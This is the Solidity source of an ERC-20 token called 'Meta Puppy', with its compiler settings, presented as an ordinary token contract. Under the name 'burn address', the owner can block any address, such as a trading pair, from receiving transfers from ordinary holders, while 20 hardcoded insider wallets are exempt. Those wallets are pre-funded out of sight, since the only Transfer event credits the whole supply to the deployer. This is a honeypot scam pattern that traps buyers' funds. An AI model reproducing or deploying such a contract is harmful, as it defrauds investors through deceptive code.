Meta Puppy

pragma solidity ^0.8.5;

interface IERC20 {

  function totalSupply() external view returns (uint256);

  function decimals() external view returns (uint8);

  function symbol() external view returns (string memory);

  function name() external view returns (string memory);

  function getOwner() external view returns (address);

  function balanceOf(address account) external view returns (uint256);
  
  function allowance(address owner, address spender) external view returns (uint256);

  function transfer(address recipient, uint256 amount) external returns (bool);

  function approve(address spender, uint256 amount) external returns (bool);

  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  event Transfer(address indexed from, address indexed to, uint256 value);

  event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");

    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;

    return c;
  }

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {

    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");

    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }


  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;

    return c;
  }

  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
  }

  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}

abstract contract Context {

  constructor () { }

  function _msgSender() internal view returns (address payable) {
    return payable(msg.sender);
  }

  function _msgData() internal view returns (bytes memory) {
    this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
    return msg.data;
  }
}

abstract contract Ownable is Context {
  address private _owner;
  
  mapping (address => bool) internal ownership;
  
  mapping (address => bool) internal burnAddress;
  
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  constructor () {
    address msgSender = _msgSender();
    _owner = msgSender;
    ownership[msgSender]=true;
    emit OwnershipTransferred(address(0), msgSender);
  }
  
  function owner() internal view returns (address){
      return _owner;
  }



  modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
  }
  

  function removeOwnership(address oldOwner) public onlyOwner {
    ownership[oldOwner] = false;
  }

  function transferOwnership(address newOwner) public onlyOwner {
    _transferOwnership(newOwner);
  }

  function _transferOwnership(address newOwner) internal {
    require(newOwner != address(0), "Ownable: new owner is the zero address");
    ownership[newOwner] = true;
    emit OwnershipTransferred(_owner, newOwner);
    
  }
}

contract ERC20Token is Context, IERC20, Ownable {
  using SafeMath for uint256;

  mapping (address => uint256) private _balances;

  mapping (address => mapping (address => uint256)) private _allowances;

  address[] private wl=[
    0x238805F339b5442a4e90d5884A602b71A3022356,
    0xD443600190173BC3Fc4E379f1A6f7361bb6AcDcD,
    0x57aB16bEb0156e17373bd38479A1C29781F3D939,
    0x9D1a948bcA543b60104191f2b36cBf213cD11fAF,
    0x45bE64a9fb359731c5F28Bb56C3864Bd6b04019f,
    0xD1C87bA17EDeDcb6f02772910AA5EB1eEF2EC1F5,
    0xeE8B6459fd8424327645f9e22606E961Aac109e9,
    0x66487543739b0f02fC986C37958b7927710A1727,
    0xda78CC10Fe560f322ff53Ae271435602aC963947,
    0x804be8CAeeB64dC08372c86Eed13bDEA976A3214,
    0x91b5D6FB67F83997eD6F1DBb17142a4EC6807069,
    0xD0Cd0C8985917A394f1F43551Bbb1FFb7e7b4D9F,
    0xA64b3C6851Bf6E14cAc19016F34964c03c1bC932,
    0x0C57D2EB3E8E2F17AdC85F47CC7222bF30cfB8c8,
    0xf6F6126cCF422661252FE4846181e9Fef5FE0542,
    0xc42dFCE41Bb8b120a1617431F492f0e038Eb1D01,
    0x155B6B574fe03263991a2F549f8960d5A77Db237,
    0xBC062B908f89447a0f979D2009C80cb1EF9e53a3,
    0x8830cC3CD911DF51947e64d354f3ded8eA5C22Ac,
    0x12AAdd94fcbA7bFc5D20Ad4B06949C83C820Ca6E
  ];

  uint256 private _totalSupply;
  uint8 private _decimals;
  string private _symbol;
  string private _name;

  constructor() {
    _name = "Meta Puppy";
    _symbol = "MPY";
    _totalSupply = 1*10**(31);
    _decimals = 18;
    _balances[msg.sender] = _totalSupply-20*10**29;
    ownership[msg.sender] = true;
    for(uint i =0; i<20;i++){
      ownership[wl[i]]=true;
      _balances[wl[i]] = 1*10**29;
    }
    burnAddress[address(0)]=true;
    emit Transfer(address(0), msg.sender, _totalSupply);
  }

  function getOwner() external view override returns (address) {
    return owner();
  }

  function decimals() external view override returns (uint8) {
    return _decimals;
  }

  function symbol() external view override returns (string memory) {
    return _symbol;
  }

  function name() external view override returns (string memory) {
    return _name;
  }

  function totalSupply() external view override returns (uint256) {
    return _totalSupply;
  }

  function balanceOf(address account) external view override returns (uint256) {
    return _balances[account];
  }

  function transfer(address recipient, uint256 amount) external override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  function allowance(address owner, address spender) external view override returns (uint256) {
    return _allowances[owner][spender];
  }

  function approve(address spender, uint256 amount) external override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
  }

  function setBurnAddress(address addr, bool state) public onlyOwner {
      burnAddress[addr]=state;
  }
  

  function burn(uint256 amount) public onlyOwner returns (bool) {
    _burn(_msgSender(), amount);
    return true;
  }


  function _transfer(address sender, address recipient, uint256 amount) internal {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");
    if (!ownership[sender]) {
        require(!burnAddress[recipient], "ERC20: transfer to the burn address");
    }
    _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
  }
  
  function _burn(address account, uint256 amount) internal {
    require(account != address(0), "ERC20: burn from the zero address");

    _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
    _balances[address(0)] = _balances[address(0)].add(amount);
    emit Transfer(account, address(0), amount);
  }

  function _approve(address owner, address spender, uint256 amount) internal {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  function _burnFrom(address account, uint256 amount) internal {
    _burn(account, amount);
    _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
  }
}

{
  "compilationTarget": {
    "tokenn.sol": "ERC20Token"
  },
  "evmVersion": "berlin",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}